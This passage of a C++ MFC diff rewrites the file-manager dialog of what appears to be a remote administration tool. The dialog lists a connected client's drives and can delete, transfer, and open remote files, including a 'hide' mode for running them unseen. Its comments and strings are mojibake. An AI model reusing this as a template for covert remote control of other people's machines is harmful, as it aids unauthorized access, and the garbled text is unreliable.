((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32)) -#define MAX_SEND_BUFFER 8192 - -static UINT Indicators[] = +static UINT indicators[] = { - ID_SEPARATOR, + ID_SEPARATOR, // status line indicator ID_SEPARATOR, - IDR_STATUSBAR_PROCESS, + ID_SEPARATOR }; -// CFileManagerDlg Ի +typedef struct { + LVITEM* plvi; + CString sCol2; +} lvItem, *plvItem; +///////////////////////////////////////////////////////////////////////////// +// CFileManagerDlg dialog -IMPLEMENT_DYNAMIC(CFileManagerDlg, CDialog) -CFileManagerDlg::CFileManagerDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) +CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext) : CDialog(CFileManagerDlg::IDD, pParent) { - m_ContextObject = ContextObject; - m_iocpServer = IOCPServer; - m_ProgressCtrl = NULL; - sockaddr_in ClientAddr = {0}; - int iClientAddrLength = sizeof(sockaddr_in); - //õӱض˵IP - BOOL bOk = getpeername(ContextObject->sClientSocket,(SOCKADDR*)&ClientAddr, &iClientAddrLength); - - m_strClientIP = bOk != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""; - - memset(m_szClientDiskDriverList, 0, sizeof(m_szClientDiskDriverList)); - int len = ContextObject->InDeCompressedBuffer.GetBufferLength(); - memcpy(m_szClientDiskDriverList, ContextObject->InDeCompressedBuffer.GetBuffer(1), len - 1); - - CoInitialize(0); + //{{AFX_DATA_INIT(CFileManagerDlg) + //}}AFX_DATA_INIT + SHFILEINFO sfi; + SHGetFileInfo + ( + "\\\\", + FILE_ATTRIBUTE_NORMAL, + &sfi, + sizeof(SHFILEINFO), + SHGFI_ICON | SHGFI_USEFILEATTRIBUTES + ); + m_hIcon = sfi.hIcon; + HIMAGELIST hImageList; // ϵͳͼб - try { - SHFILEINFO sfi = {0}; - HIMAGELIST hImageList = (HIMAGELIST)SHGetFileInfo(NULL,0,&sfi,sizeof(SHFILEINFO),SHGFI_LARGEICON | SHGFI_SYSICONINDEX); - m_ImageList_Large = CImageList::FromHandle(hImageList); //CimageList* - ImageList_Destroy(hImageList); - }catch(...){ - OutputDebugStringA("======> m_ImageList_Large catch an error. \n"); - } - try{ - SHFILEINFO sfi = {0}; - HIMAGELIST hImageList = (HIMAGELIST)SHGetFileInfo(NULL,0,&sfi,sizeof(SHFILEINFO),SHGFI_SMALLICON | SHGFI_SYSICONINDEX); - m_ImageList_Small = CImageList::FromHandle(hImageList); - ImageList_Destroy(hImageList); - }catch(...){ - OutputDebugStringA("======> m_ImageList_Small catch an error. \n"); - } + hImageList = (HIMAGELIST)SHGetFileInfo + ( + NULL, + 0, + &sfi, + sizeof(SHFILEINFO), + SHGFI_LARGEICON | SHGFI_SYSICONINDEX + ); + m_pImageList_Large = CImageList::FromHandle(hImageList); - m_bDragging = FALSE; - m_bIsStop = FALSE; -} + // ϵͳͼб + hImageList = (HIMAGELIST)SHGetFileInfo + ( + NULL, + 0, + &sfi, + sizeof(SHFILEINFO), + SHGFI_SMALLICON | SHGFI_SYSICONINDEX + ); + m_pImageList_Small = CImageList::FromHandle(hImageList); -CFileManagerDlg::~CFileManagerDlg() -{ - m_Remote_Upload_Job.RemoveAll(); - if (m_ProgressCtrl) - { - m_ProgressCtrl->DestroyWindow(); - delete m_ProgressCtrl; - } - m_ProgressCtrl = NULL; - m_ImageList_Large->Detach(); - m_ImageList_Small->Detach(); + // ʼӦôݰСΪ0 + + m_iocpServer = pIOCPServer; + m_pContext = pContext; + sockaddr_in sockAddr; + memset(&sockAddr, 0, sizeof(sockAddr)); + int nSockAddrLen = sizeof(sockAddr); + BOOL bResult = getpeername(m_pContext->m_Socket,(SOCKADDR*)&sockAddr, &nSockAddrLen); - CoUninitialize(); + m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ""; + + // Զб + memset(m_bRemoteDriveList, 0, sizeof(m_bRemoteDriveList)); + memcpy(m_bRemoteDriveList, m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1); + + m_nTransferMode = TRANSFER_MODE_NORMAL; + m_nOperatingFileLength = 0; + m_nCounter = 0; + + m_bIsStop = false; } + void CFileManagerDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); - DDX_Control(pDX, IDC_LIST_CLIENT, m_ControlList_Client); - DDX_Control(pDX, IDC_LIST_SERVER, m_ControlList_Server); - DDX_Control(pDX, IDC_COMBO_SERVER, m_ComboBox_Server); - DDX_Control(pDX, IDC_COMBO_CLIENT, m_ComboBox_Client); - DDX_Control(pDX, IDC_STATIC_FILE_SERVER, m_FileServerBarPos); - DDX_Control(pDX, IDC_STATIC_FILE_CLIENT, m_FileClientBarPos); + //{{AFX_DATA_MAP(CFileManagerDlg) + DDX_Control(pDX, IDC_REMOTE_PATH, m_Remote_Directory_ComboBox); + DDX_Control(pDX, IDC_LOCAL_PATH, m_Local_Directory_ComboBox); + DDX_Control(pDX, IDC_LIST_REMOTE, m_list_remote); + DDX_Control(pDX, IDC_LIST_LOCAL, m_list_local); + //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog) - ON_WM_CLOSE() - ON_NOTIFY(NM_DBLCLK, IDC_LIST_SERVER, &CFileManagerDlg::OnNMDblclkListServer) - ON_CBN_SELCHANGE(IDC_COMBO_SERVER, &CFileManagerDlg::OnCbnSelchangeComboServer) - ON_COMMAND(IDT_SERVER_FILE_PREV, &CFileManagerDlg::OnIdtServerPrev) - - ON_COMMAND(IDT_SERVER_FILE_NEW_FOLDER, &CFileManagerDlg::OnIdtServerNewFolder) - ON_COMMAND(IDT_SERVER_FILE_DELETE, &CFileManagerDlg::OnIdtServerDelete) - ON_COMMAND(IDT_SERVER_FILE_STOP, &CFileManagerDlg::OnIdtServerStop) - - ON_COMMAND(ID_VIEW_BIG_ICON, &CFileManagerDlg::OnViewBigIcon) - ON_COMMAND(ID_VIEW_SMALL_ICON, &CFileManagerDlg::OnViewSmallIcon) - ON_COMMAND(ID_VIEW_DETAIL, &CFileManagerDlg::OnViewDetail) - ON_COMMAND(ID_VIEW_LIST, &CFileManagerDlg::OnViewList) - ON_NOTIFY(NM_DBLCLK, IDC_LIST_CLIENT, &CFileManagerDlg::OnNMDblclkListClient) - ON_NOTIFY(LVN_BEGINDRAG, IDC_LIST_SERVER, &CFileManagerDlg::OnLvnBegindragListServer) + //{{AFX_MSG_MAP(CFileManagerDlg) + ON_WM_QUERYDRAGICON() + ON_WM_SIZE() + ON_NOTIFY(NM_DBLCLK, IDC_LIST_LOCAL, OnDblclkListLocal) + ON_NOTIFY(LVN_BEGINDRAG, IDC_LIST_LOCAL, OnBegindragListLocal) + ON_NOTIFY(LVN_BEGINDRAG, IDC_LIST_REMOTE, OnBegindragListRemote) ON_WM_MOUSEMOVE() ON_WM_LBUTTONUP() - ON_NOTIFY(NM_RCLICK, IDC_LIST_SERVER, &CFileManagerDlg::OnNMRClickListServer) - ON_COMMAND(ID_OPERATION_SERVER_RUN, &CFileManagerDlg::OnOperationServerRun) - ON_COMMAND(ID_OPERATION_RENAME, &CFileManagerDlg::OnOperationRename) - ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_SERVER, &CFileManagerDlg::OnLvnEndlabeleditListServer) - ON_NOTIFY(NM_RCLICK, IDC_LIST_CLIENT, &CFileManagerDlg::OnNMRClickListClient) - ON_COMMAND(ID_OPERATION_CLIENT_SHOW_RUN, &CFileManagerDlg::OnOperationClientShowRun) - ON_COMMAND(ID_OPERATION_CLIENT_HIDE_RUN, &CFileManagerDlg::OnOperationClientHideRun) - ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_CLIENT, &CFileManagerDlg::OnLvnEndlabeleditListClient) - ON_COMMAND(ID_OPERATION_COMPRESS, &CFileManagerDlg::OnOperationCompress) + ON_WM_TIMER() + ON_WM_CLOSE() + ON_NOTIFY(NM_DBLCLK, IDC_LIST_REMOTE, OnDblclkListRemote) + ON_COMMAND(IDT_LOCAL_PREV, OnLocalPrev) + ON_COMMAND(IDT_REMOTE_PREV, OnRemotePrev) + ON_COMMAND(IDT_LOCAL_VIEW, OnLocalView) + ON_COMMAND(IDM_LOCAL_LIST, OnLocalList) + ON_COMMAND(IDM_LOCAL_REPORT, OnLocalReport) + ON_COMMAND(IDM_LOCAL_BIGICON, OnLocalBigicon) + ON_COMMAND(IDM_LOCAL_SMALLICON, OnLocalSmallicon) + ON_COMMAND(IDM_REMOTE_BIGICON, OnRemoteBigicon) + ON_COMMAND(IDM_REMOTE_LIST, OnRemoteList) + ON_COMMAND(IDM_REMOTE_REPORT, OnRemoteReport) + ON_COMMAND(IDM_REMOTE_SMALLICON, OnRemoteSmallicon) + ON_COMMAND(IDT_REMOTE_VIEW, OnRemoteView) + ON_UPDATE_COMMAND_UI(IDT_LOCAL_STOP, OnUpdateLocalStop) + ON_UPDATE_COMMAND_UI(IDT_REMOTE_STOP, OnUpdateRemoteStop) + ON_UPDATE_COMMAND_UI(IDT_LOCAL_PREV, OnUpdateLocalPrev) + ON_UPDATE_COMMAND_UI(IDT_REMOTE_PREV, OnUpdateRemotePrev) + ON_UPDATE_COMMAND_UI(IDT_LOCAL_COPY, OnUpdateLocalCopy) + ON_UPDATE_COMMAND_UI(IDT_REMOTE_COPY, OnUpdateRemoteCopy) + ON_UPDATE_COMMAND_UI(IDT_REMOTE_DELETE, OnUpdateRemoteDelete) + ON_UPDATE_COMMAND_UI(IDT_REMOTE_NEWFOLDER, OnUpdateRemoteNewfolder) + ON_UPDATE_COMMAND_UI(IDT_LOCAL_DELETE, OnUpdateLocalDelete) + ON_UPDATE_COMMAND_UI(IDT_LOCAL_NEWFOLDER, OnUpdateLocalNewfolder) + ON_COMMAND(IDT_REMOTE_COPY, OnRemoteCopy) + ON_COMMAND(IDT_LOCAL_COPY, OnLocalCopy) + ON_COMMAND(IDT_LOCAL_DELETE, OnLocalDelete) + ON_COMMAND(IDT_REMOTE_DELETE, OnRemoteDelete) + ON_COMMAND(IDT_REMOTE_STOP, OnRemoteStop) + ON_COMMAND(IDT_LOCAL_STOP, OnLocalStop) + ON_COMMAND(IDT_LOCAL_NEWFOLDER, OnLocalNewfolder) + ON_COMMAND(IDT_REMOTE_NEWFOLDER, OnRemoteNewfolder) + ON_COMMAND(IDM_TRANSFER, OnTransfer) + ON_COMMAND(IDM_RENAME, OnRename) + ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_LOCAL, OnEndlabeleditListLocal) + ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_REMOTE, OnEndlabeleditListRemote) + ON_COMMAND(IDM_DELETE, OnDelete) + ON_COMMAND(IDM_NEWFOLDER, OnNewfolder) + ON_COMMAND(IDM_REFRESH, OnRefresh) + ON_COMMAND(IDM_LOCAL_OPEN, OnLocalOpen) + ON_COMMAND(IDM_REMOTE_OPEN_SHOW, OnRemoteOpenShow) + ON_COMMAND(IDM_REMOTE_OPEN_HIDE, OnRemoteOpenHide) + ON_NOTIFY(NM_RCLICK, IDC_LIST_LOCAL, OnRclickListLocal) + ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE, OnRclickListRemote) + //}}AFX_MSG_MAP END_MESSAGE_MAP() - -// CFileManagerDlg Ϣ +///////////////////////////////////////////////////////////////////////////// +// CFileManagerDlg message handlers -VOID CFileManagerDlg::OnIdtServerPrev() +int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes) { - FixedServerFileList(".."); -} - - -VOID CFileManagerDlg::OnIdtServerNewFolder() -{ - if (m_Server_File_Path == "") - return; - - CEditDialog Dlg(this); - if (Dlg.DoModal() == IDOK && Dlg.m_EditString.GetLength()) - { - // Ŀ¼ - - CString strString; - strString = m_Server_File_Path + Dlg.m_EditString + "\\"; - MakeSureDirectoryPathExists(strString.GetBuffer()); /*c:\Hello\ */ - FixedServerFileList("."); - } -} - -VOID CFileManagerDlg::OnIdtServerStop() -{ - m_bIsStop = TRUE; -} - - -VOID CFileManagerDlg::OnIdtServerDelete() //ɾĿ¼ļ -{ - // m_bIsUpload = true; //ǿʹFlagֹͣ ǰĹ - CString strString; - if (m_ControlList_Server.GetSelectedCount() > 1) - strString.Format("ȷҪ %d ɾ?", m_ControlList_Server.GetSelectedCount()); + SHFILEINFO sfi; + if (dwFileAttributes == INVALID_FILE_ATTRIBUTES) + dwFileAttributes = FILE_ATTRIBUTE_NORMAL; else - { - CString strFileName = m_ControlList_Server.GetItemText(m_ControlList_Server.GetSelectionMark(), 0); + dwFileAttributes |= FILE_ATTRIBUTE_NORMAL; - int iItem = m_ControlList_Server.GetSelectionMark(); //.. fff 1 Hello - - if (iItem==-1) - { - return; - } - if (m_ControlList_Server.GetItemData(iItem) == 1) - { - strString.Format("ȷʵҪɾļС%sɾ?", strFileName); - } - else - { - strString.Format("ȷʵҪѡ%sɾ?", strFileName); - } - } - if (::MessageBox(m_hWnd, strString, "ȷɾ", MB_YESNO|MB_ICONQUESTION) == IDNO) - { - return; - } - - EnableControl(FALSE); - - POSITION Pos = m_ControlList_Server.GetFirstSelectedItemPosition(); - while(Pos) - { - int iItem = m_ControlList_Server.GetNextSelectedItem(Pos); - CString strFileFullPath = m_Server_File_Path + m_ControlList_Server.GetItemText(iItem, 0); - // Ŀ¼ - if (m_ControlList_Server.GetItemData(iItem)) - { - strFileFullPath += '\\'; - DeleteDirectory(strFileFullPath); - } - else - { - DeleteFile(strFileFullPath); - } - } - // ļ - EnableControl(TRUE); - - FixedServerFileList("."); -} - - -BOOL CFileManagerDlg::DeleteDirectory(LPCTSTR strDirectoryFullPath) -{ - WIN32_FIND_DATA wfd; - char szBuffer[MAX_PATH] = {0}; - - wsprintf(szBuffer, "%s\\*.*", strDirectoryFullPath); - - HANDLE hFind = FindFirstFile(szBuffer, &wfd); - if (hFind == INVALID_HANDLE_VALUE) // ûҵʧ - return FALSE; - - do - { - if (wfd.cFileName[0] != '.') - { - if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) - { - char szv1[MAX_PATH]; - wsprintf(szv1, "%s\\%s", strDirectoryFullPath, wfd.cFileName); - DeleteDirectory(szv1); - } - else - { - char szv2[MAX_PATH]; - wsprintf(szv2, "%s\\%s", strDirectoryFullPath, wfd.cFileName); - DeleteFile(szv2); - } - } - } while (FindNextFile(hFind, &wfd)); - - FindClose(hFind); // رղҾ - - if(!RemoveDirectory(strDirectoryFullPath)) - { - return FALSE; - } - return true; -} - -BOOL CFileManagerDlg::MakeSureDirectoryPathExists(char* szDirectoryFullPath) -{ - char* szTravel = NULL; - char* szBuffer = NULL; - DWORD dwAttributes; - __try - { - szBuffer = (char*)malloc(sizeof(char)*(strlen(szDirectoryFullPath) + 1)); - - if(szBuffer == NULL) - { - return FALSE; - } - - strcpy(szBuffer, szDirectoryFullPath); - - szTravel = szBuffer; - - if (0) - { - } - else if(*(szTravel+1) == ':') - { - szTravel++; - szTravel++; - if(*szTravel && (*szTravel == '\\')) - { - szTravel++; - } - } - - while(*szTravel) //\Hello\World\Shit\0 - { - if(*szTravel == '\\') - { - *szTravel = '\0'; - dwAttributes = GetFileAttributes(szBuffer); //鿴ǷǷĿ¼ Ŀ¼ - if(dwAttributes == 0xffffffff) - { - if(!CreateDirectory(szBuffer, NULL)) - { - if(GetLastError() != ERROR_ALREADY_EXISTS) - { - free(szBuffer); - return FALSE; - } - } - } - else - { - if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY) - { - free(szBuffer); - szBuffer = NULL; - return FALSE; - } - } - - *szTravel = '\\'; - } - - szTravel = CharNext(szTravel); - } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - if (szBuffer!=NULL) - { - free(szBuffer); - - szBuffer = NULL; - } - - return FALSE; - } - - if (szBuffer!=NULL) - { - free(szBuffer); - szBuffer = NULL; - } - return TRUE; -} - -BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg) -{ - return CDialog::PreTranslateMessage(pMsg); -} - - -void CFileManagerDlg::OnClose() -{ - // TODO: ڴϢ/Ĭֵ - m_ContextObject->v1 = 0; - CancelIo((HANDLE)m_ContextObject->sClientSocket); - closesocket(m_ContextObject->sClientSocket); - CDialog::OnClose(); - //delete this; // ͷڴӦõģɵ2δļʱ -} - -BOOL CFileManagerDlg::OnInitDialog() -{ - CDialog::OnInitDialog(); - - CString strString; - strString.Format("%s - Զļ", m_strClientIP); - SetWindowText(strString); - - if (!m_ToolBar_File_Server.Create(this, WS_CHILD | - WS_VISIBLE | CBRS_ALIGN_ANY | CBRS_TOOLTIPS | CBRS_FLYBY, IDR_TOOLBAR_FILE_SERVER) - ||!m_ToolBar_File_Server.LoadToolBar(IDR_TOOLBAR_FILE_SERVER)) - { - - return -1; - } - // m_ToolBar_File_Server.ModifyStyle(0, TBSTYLE_FLAT); //Fix for WinXP - m_ToolBar_File_Server.LoadTrueColorToolBar + SHGetFileInfo ( - 24, //ʹ - IDB_BITMAP_FILE, - IDB_BITMAP_FILE, - IDB_BITMAP_FILE //û + lpFileName, + dwFileAttributes, + &sfi, + sizeof(SHFILEINFO), + SHGFI_SYSICONINDEX | SHGFI_USEFILEATTRIBUTES ); - m_ToolBar_File_Server.AddDropDownButton(this,IDT_SERVER_FILE_VIEW ,IDR_MENU_FILE_SERVER); + return sfi.iIcon; +} - m_ToolBar_File_Server.SetButtonText(0,""); //λͼļ - m_ToolBar_File_Server.SetButtonText(1,"鿴"); - m_ToolBar_File_Server.SetButtonText(2,"ɾ"); - m_ToolBar_File_Server.SetButtonText(3,"½"); - m_ToolBar_File_Server.SetButtonText(5,"ֹͣ"); - RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0); //ʾ +BOOL CFileManagerDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + // TODO: Add extra initialization here - RECT RectServer; - m_FileServerBarPos.GetWindowRect(&RectServer); + // Set the icon for this dialog. The framework does this automatically + // when the application's main window is not a dialog + SetIcon(m_hIcon, TRUE); // Set big icon + SetIcon(m_hIcon, FALSE); // Set small icon + + RECT rect; + GetClientRect(&rect); + + /*ΪʹӵĴ*/ + + // һҪ幤IDȻRepositionBarsùλ + // ID AFX_IDW_CONTROLBAR_FIRST AFX_IDW_CONTROLBAR_LAST + // ع CBRS_TOP ڹϲһ + if (!m_wndToolBar_Local.Create(this, WS_CHILD | + WS_VISIBLE | CBRS_ALIGN_ANY | CBRS_TOOLTIPS | CBRS_FLYBY, ID_LOCAL_TOOLBAR) + ||!m_wndToolBar_Local.LoadToolBar(IDR_TOOLBAR1)) + { + TRACE0("Failed to create toolbar "); + return -1; //Failed to create + } + m_wndToolBar_Local.ModifyStyle(0, TBSTYLE_FLAT); //Fix for WinXP + m_wndToolBar_Local.LoadTrueColorToolBar + ( + 24, //ʹ + IDB_TOOLBAR, + IDB_TOOLBAR, + IDB_TOOLBAR_DISABLE + ); + // ť + m_wndToolBar_Local.AddDropDownButton(this, IDT_LOCAL_VIEW, IDR_LOCAL_VIEW); + + + if (!m_wndToolBar_Remote.Create(this, WS_CHILD | + WS_VISIBLE | CBRS_ALIGN_ANY | CBRS_TOOLTIPS | CBRS_FLYBY, ID_REMOTE_TOOLBAR) + ||!m_wndToolBar_Remote.LoadToolBar(IDR_TOOLBAR2)) + { + TRACE0("Failed to create toolbar "); + return -1; //Failed to create + } + m_wndToolBar_Remote.ModifyStyle(0, TBSTYLE_FLAT); //Fix for WinXP + m_wndToolBar_Remote.LoadTrueColorToolBar + ( + 24, //ʹ + IDB_TOOLBAR, + IDB_TOOLBAR, + IDB_TOOLBAR_DISABLE + ); + // ť + m_wndToolBar_Remote.AddDropDownButton(this, IDT_REMOTE_VIEW, IDR_REMOTE_VIEW); - m_FileServerBarPos.ShowWindow(SW_HIDE); //ʾ + m_wndToolBar_Local.MoveWindow(268, 0, rect.right - 268, 48); + m_wndToolBar_Remote.MoveWindow(268, rect.bottom / 2 - 10, rect.right - 268, 48); - m_ToolBar_File_Server.MoveWindow(&RectServer); - m_ControlList_Server.SetImageList(m_ImageList_Large, LVSIL_NORMAL); - m_ControlList_Server.SetImageList(m_ImageList_Small, LVSIL_SMALL); + // ñ + CString str; + str.Format("%s - ļ",m_IPAddress); + SetWindowText(str); - m_ControlList_Client.SetImageList(m_ImageList_Large, LVSIL_NORMAL); - m_ControlList_Client.SetImageList(m_ImageList_Small, LVSIL_SMALL); - - if (!m_StatusBar.Create(this) || - !m_StatusBar.SetIndicators(Indicators, - sizeof(Indicators)/sizeof(UINT))) + // ΪбͼImageList + m_list_local.SetImageList(m_pImageList_Large, LVSIL_NORMAL); + m_list_local.SetImageList(m_pImageList_Small, LVSIL_SMALL); + // ״̬ + if (!m_wndStatusBar.Create(this) || + !m_wndStatusBar.SetIndicators(indicators, + sizeof(indicators)/sizeof(UINT))) { - return -1; + TRACE0("Failed to create status bar\n"); + return -1; // fail to create } - m_StatusBar.SetPaneInfo(0, m_StatusBar.GetItemID(0), SBPS_STRETCH, NULL); - m_StatusBar.SetPaneInfo(1, m_StatusBar.GetItemID(1), SBPS_NORMAL, 120); - m_StatusBar.SetPaneInfo(2, m_StatusBar.GetItemID(2), SBPS_NORMAL, 50); - RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //ʾ״̬ - - RECT ClientRect; - GetClientRect(&ClientRect); - - CRect Rect; - Rect.top=ClientRect.bottom-25; - Rect.left=0; - Rect.right=ClientRect.right; - Rect.bottom=ClientRect.bottom; - - m_StatusBar.MoveWindow(Rect); - - m_StatusBar.GetItemRect(1, &ClientRect); - - ClientRect.bottom -= 1; + m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_STRETCH, NULL); + m_wndStatusBar.SetPaneInfo(1, m_wndStatusBar.GetItemID(1), SBPS_NORMAL, 120); + m_wndStatusBar.SetPaneInfo(2, m_wndStatusBar.GetItemID(2), SBPS_NORMAL, 50); + RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //ʾ״̬ + m_wndStatusBar.GetItemRect(1, &rect); m_ProgressCtrl = new CProgressCtrl; - m_ProgressCtrl->Create(PBS_SMOOTH | WS_VISIBLE, ClientRect, &m_StatusBar, 1); - m_ProgressCtrl->SetRange(0, 100); //ýΧ - m_ProgressCtrl->SetPos(0); //ýǰλ - - FixedServerDiskDriverList(); - FixedClientDiskDriverList(); + m_ProgressCtrl->Create(PBS_SMOOTH | WS_VISIBLE, rect, &m_wndStatusBar, 1); + m_ProgressCtrl->SetRange(0, 100); //ýΧ + m_ProgressCtrl->SetPos(20); //ýǰλ + + FixedLocalDriveList(); + FixedRemoteDriveList(); + ///////////////////////////////////////////// + //// Set up initial variables + m_bDragging = false; + m_nDragIndex = -1; + m_nDropIndex = -1; + CoInitialize(NULL); + SHAutoComplete(GetDlgItem(IDC_LOCAL_PATH)->GetWindow(GW_CHILD)->m_hWnd, SHACF_FILESYSTEM); return TRUE; // return TRUE unless you set the focus to a control - // 쳣: OCX ҳӦ FALSE + // EXCEPTION: OCX Property Pages should return FALSE } - -VOID CFileManagerDlg::FixedServerDiskDriverList() +void CFileManagerDlg::OnSize(UINT nType, int cx, int cy) { - CHAR *Travel = NULL; - m_ControlList_Server.DeleteAllItems(); - while(m_ControlList_Server.DeleteColumn(0) != 0); - //ʼбϢ - m_ControlList_Server.InsertColumn(0, "", LVCFMT_LEFT, 70); - m_ControlList_Server.InsertColumn(1, "", LVCFMT_RIGHT, 85); - m_ControlList_Server.InsertColumn(2, "ܴС", LVCFMT_RIGHT, 80); - m_ControlList_Server.InsertColumn(3, "ÿռ", LVCFMT_RIGHT, 90); + CDialog::OnSize(nType, cx, cy); - m_ControlList_Server.SetExtendedStyle(LVS_EX_FULLROWSELECT); + // TODO: Add your message handler code here + // ״̬ûд + if (m_wndStatusBar.m_hWnd == NULL) + return; + // λ״̬ + RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //ʾ + RECT rect; + m_wndStatusBar.GetItemRect(1, &rect); + m_ProgressCtrl->MoveWindow(&rect); + + GetDlgItem(IDC_LIST_LOCAL)->MoveWindow(0, 36, cx, (cy - 100) / 2); + GetDlgItem(IDC_LIST_REMOTE)->MoveWindow(0, (cy / 2) + 28, cx, (cy - 100) / 2); + GetDlgItem(IDC_STATIC_REMOTE)->MoveWindow(20, cy / 2, 25, 20); + GetDlgItem(IDC_REMOTE_PATH)->MoveWindow(53, (cy / 2) - 4 , 210, 12); - GetLogicalDriveStrings(sizeof(m_szServerDiskDriverList),(LPSTR)m_szServerDiskDriverList); //c:\.d:\. - Travel = m_szServerDiskDriverList; - CHAR szFileSystem[MAX_PATH]; //ntfs fat32 - unsigned __int64 ulHardDiskAmount = 0; //HardDisk - unsigned __int64 ulHardDiskFreeSpace = 0; - unsigned long ulHardDiskAmountMB = 0; // ܴС - unsigned long ulHardDiskFreeMB = 0; // ʣռ + GetClientRect(&rect); + //ʾ + m_wndToolBar_Local.MoveWindow(268, 0, rect.right - 268, 48); + m_wndToolBar_Remote.MoveWindow(268, rect.bottom / 2 - 10, rect.right - 268, 48); +} - for (int i = 0; *Travel != '\0'; i++, Travel += lstrlen(Travel) + 1) +void CFileManagerDlg::FixedLocalDriveList() +{ + char DriveString[256]; + char *pDrive = NULL; + m_list_local.DeleteAllItems(); + while(m_list_local.DeleteColumn(0) != 0); + m_list_local.InsertColumn(0, "", LVCFMT_LEFT, 200); + m_list_local.InsertColumn(1, "", LVCFMT_LEFT, 100); + m_list_local.InsertColumn(2, "ܴС", LVCFMT_LEFT, 100); + m_list_local.InsertColumn(3, "ÿռ", LVCFMT_LEFT, 115); + + GetLogicalDriveStrings(sizeof(DriveString), DriveString); + pDrive = DriveString; + + char FileSystem[MAX_PATH]; + unsigned __int64 HDAmount = 0; + unsigned __int64 HDFreeSpace = 0; + unsigned long AmntMB = 0; // ܴС + unsigned long FreeMB = 0; // ʣռ + + for (int i = 0; *pDrive != '\0'; i++, pDrive += lstrlen(pDrive) + 1) { // õϢ - memset(szFileSystem, 0, sizeof(szFileSystem)); + memset(FileSystem, 0, sizeof(FileSystem)); // õļϵͳϢС - GetVolumeInformation(Travel, NULL, 0, NULL, NULL, NULL, szFileSystem, MAX_PATH); - - ULONG ulFileSystemLength = lstrlen(szFileSystem) + 1; - if (GetDiskFreeSpaceEx(Travel, (PULARGE_INTEGER)&ulHardDiskFreeSpace, (PULARGE_INTEGER)&ulHardDiskAmount, NULL)) + GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH); + + int nFileSystemLen = lstrlen(FileSystem) + 1; + if (GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL)) { - ulHardDiskAmountMB = ulHardDiskAmount / 1024 / 1024; - ulHardDiskFreeMB = ulHardDiskFreeSpace / 1024 / 1024; + AmntMB = HDAmount / 1024 / 1024; + FreeMB = HDFreeSpace / 1024 / 1024; } else { - ulHardDiskAmountMB = 0; - ulHardDiskFreeMB = 0; + AmntMB = 0; + FreeMB = 0; } + - int iItem = m_ControlList_Server.InsertItem(i, Travel,GetServerIconIndex(Travel,GetFileAttributes(Travel))); //ϵͳͼ - - m_ControlList_Server.SetItemData(iItem, 1); - - SHFILEINFO sfi; - SHGetFileInfo(Travel, FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); - m_ControlList_Server.SetItemText(iItem, 1, sfi.szTypeName); - - CString strCount; - strCount.Format("%10.1f GB", (float)ulHardDiskAmountMB / 1024); - m_ControlList_Server.SetItemText(iItem, 2, strCount); - strCount.Format("%10.1f GB", (float)ulHardDiskFreeMB / 1024); - m_ControlList_Server.SetItemText(iItem, 3, strCount); - } -} - -VOID CFileManagerDlg::FixedClientDiskDriverList() -{ - m_ControlList_Client.DeleteAllItems(); - - m_ControlList_Client.InsertColumn(0, "", LVCFMT_LEFT, 70); - m_ControlList_Client.InsertColumn(1, "", LVCFMT_RIGHT, 85); - m_ControlList_Client.InsertColumn(2, "ܴС", LVCFMT_RIGHT, 80); - m_ControlList_Client.InsertColumn(3, "ÿռ", LVCFMT_RIGHT, 90); - - m_ControlList_Client.SetExtendedStyle(LVS_EX_FULLROWSELECT); - - char *Travel = NULL; - Travel = (char *)m_szClientDiskDriverList; //ѾȥϢͷ1ֽ - - int i = 0; - ULONG ulIconIndex = 0; - for (i = 0; Travel[i] != '\0';) - { - //жͼ - if (Travel[i] == 'A' || Travel[i] == 'B') + int nItem = m_list_local.InsertItem(i, pDrive, GetIconIndex(pDrive, GetFileAttributes(pDrive))); + m_list_local.SetItemData(nItem, 1); + if (lstrlen(FileSystem) == 0) { - ulIconIndex = 6; + SHFILEINFO sfi; + SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); + m_list_local.SetItemText(nItem, 1, sfi.szTypeName); } else { - switch (Travel[i + 1]) //ж 鿴ض - { - case DRIVE_REMOVABLE: - ulIconIndex = 2+5; - break; - case DRIVE_FIXED: - ulIconIndex = 3+5; - break; - case DRIVE_REMOTE: - ulIconIndex = 4+5; - break; - case DRIVE_CDROM: - ulIconIndex = 9; //Win7Ϊ10 - break; - default: - ulIconIndex = 0; - break; 